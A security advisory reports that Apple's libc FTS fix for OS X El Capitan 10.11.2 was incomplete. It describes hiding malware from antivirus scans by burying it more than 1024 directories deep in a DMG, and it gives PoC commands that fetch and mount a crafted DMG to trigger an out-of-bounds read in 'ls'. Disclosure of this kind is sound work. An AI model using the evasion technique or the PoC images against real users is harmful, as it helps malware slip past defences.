Apple libc incomplete fix of Security Update for OS X El Capitan 10.11.2

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Apple libc incomplete fix of Security Update for OS X El Capitan 10.11.2
Credit: Maksymilian Arciemowicz from CXSECURITY.COM
URL: https://cxsecurity.com/issue/WLB-2016080232
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Apple tried to fix security issue in file system (FTS) libc implementation but 
doesn't patch it completely. Let's back to the security advisory

https://support.apple.com/en-us/HT205637
----------------------------------------
libc
Available for: OS X El Capitan v10.11 and v10.11.1
Impact: Processing a maliciously crafted package may lead to arbitrary code 
execution
Description: Multiple buffer overflows existed in the C standard library. These 
issues were addressed through improved bounds checking.
CVE-ID
CVE-2015-7038
CVE-2015-7039 : Maksymilian Arciemowicz (CXSECURITY.COM)
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it's only one part of reported weaknesses what should be fix by Apple. They 
fixed multiple buffer overflow but not all out of memory read. Improper 
security implementation of file system may lead to a few kinds of attacks



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1. AV Tools and file system deep directory
The first weakness what Apple should repair is ability of hiding malicious code 
in external/internal media drive or DMG package. Many AV tools will skip files 
located in directory deeper then 1024 levels, so it could be used to hide 
malware by attacker during classic AV scanning. I contacted with one of vendors 
and they indicate Apple as responsible for repair this bug. To show this issue 
in practice, you can compare the two DMG files. One is with content of exploits 
from metasploit in directory located in 1024 level of directory tree

DMG mounted and threats detected by AVG, ESET, Norton AV during folder scanning 
mode
https://cxsecurity.com/exploits/mac10116expl/10116metaExploits.dmg

The same content but in deep file hierarchy 1024 directories. Classic directory 
scanning by AV tool couldn't detect the threats. 
https://cxsecurity.com/exploits/mac10116expl/10116hideContents.dmg



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2. Out of memory reading in libc
The next issue recognised in the latest MacOSX is out-of-bounds read. Apple 
tried fix all buffer overflows but it looks like that's not all. In Apple code 
there is still a few weak points of memory management. For example 'ls' and 
'find' command and Apple's libc. To easier explain this weakness (CWE-125) 
let's use this special crafted DMG with deep file system.

$ wget https://cxsecurity.com/exploits/mac10116expl/10116outofread.dmg
..
$ hdiutil attach 10116outofread.dmg 
..
$ valgrind ls -laR /Volumes/PoC1_CXSECURITY >>/dev/null
..
==5687== Invalid read of size 1
==5687==    at 0x1000116BF: strlen (in 
/usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)
==5687==    by 0x100323A4B: __vfprintf (in /usr/lib/system/libsystem_c.dylib)
==5687==    by 0x10034C6C0: __v2printf (in /usr/lib/system/libsystem_c.dylib)
==5687==    by 0x100322381: vfprintf_l (in /usr/lib/system/libsystem_c.dylib)
==5687==    by 0x10032021B: printf (in /usr/lib/system/libsystem_c.dylib)
==5687==    by 0x100001C4E: ??? (in /bin/ls)
==5687==    by 0x100001A6F: ??? (in /bin/ls)
==5687==    by 0x1002825AC: start (in /usr/lib/system/libdyld.dylib)
==5687==    by 0x2: ???
==5687==    by 0x104809B02: ???
==5687==    by 0x104809B05: ???
==5687==    by 0x104809B0A: ???
==5687==  Address 0x100b977f0 is 0 bytes inside a block of size 1,537 free'd
==5687==    at 0x100010920: realloc (in 
/usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)
==5687==    by 0x1002E1B06: fts_build (in /usr/lib/system/libsystem_c.dylib)
==5687==    by 0x1002E2106: fts_children$INODE64 (in 
/usr/lib/system/libsystem_c.dylib)
==5687==    by 0x100001CB0: ??? (in /bin/ls)
==5687==    by 0x100001A6F: ??? (in /bin/ls)
==5687==    by 0x1002825AC: start (in /usr/lib/system/libdyld.dylib)
==5687==    by 0x2: ???
==5687==    by 0x104809B02: ???
==5687==    by 0x104809B05: ???
==5687==    by 0x104809B0A: ???
==5687==  Block was alloc'd at
==5687==    at 0x100010920: realloc (in 
/usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)
==5687==    by 0x1002E1B06: fts_build (in /usr/lib/system/libsystem_c.dylib)
==5687==    by 0x1002E2106: fts_children$INODE64 (in 
/usr/lib/system/libsystem_c.dylib)
==5687==    by 0x100001CB0: ??? (in /bin/ls)
==5687==    by 0x100001A6F: ??? (in /bin/ls)
==5687==    by 0x1002825AC: start (in /usr/lib/system/libdyld.dylib)
==5687==    by 0x2: ???
==5687==    by 0x104809B02: ???
==5687==    by 0x104809B05: ???
==5687==    by 0x104809B0A: ???
==5687== 
..
==5687== Invalid read of size 1
==5687==    at 0x1000126C1: _platform_memmove$VARIANT$Ivybridge (in 
/usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)
==5687==    by 0x10031BEFC: __sfvwrite (in /usr/lib/system/libsystem_c.dylib)
==5687==    by 0x100326652: __vfprintf (in /usr/lib/system/libsystem_c.dylib)
==5687==    by 0x10034C6C0: __v2printf (in /usr/lib/system/libsystem_c.dylib)
==5687==    by 0x100322381: vfprintf_l (in /usr/lib/system/libsystem_c.dylib)
==5687==    by 0x10032021B: printf (in /usr/lib/system/libsystem_c.dylib)
==5687==    by 0x100001C4E: ??? (in /bin/ls)
==5687==    by 0x100001A6F: ??? (in /bin/ls)
==5687==    by 0x1002825AC: start (in /usr/lib/system/libdyld.dylib)
==5687==    by 0x2: ???


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References:
https://cxsecurity.com/issue/WLB-2015120089
https://cxsecurity.com/exploits/mac10116expl/10116metaExploits.dmg
https://cxsecurity.com/exploits/mac10116expl/10116hideContents.dmg
https://cxsecurity.com/exploits/mac10116expl/10116outofread.dmg
https://support.apple.com/en-us/HT205637
https://support.apple.com/en-us/HT205635
https://support.apple.com/en-us/HT205641
https://support.apple.com/en-us/HT205640
https://cxsecurity.com/issue/WLB-2015100149
https://cxsecurity.com/
https://cert.cx/

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Best Regards,
Maksymilian Arciemowicz ( https://cert.cx/ )
https://cxsecurity.com - Independent Information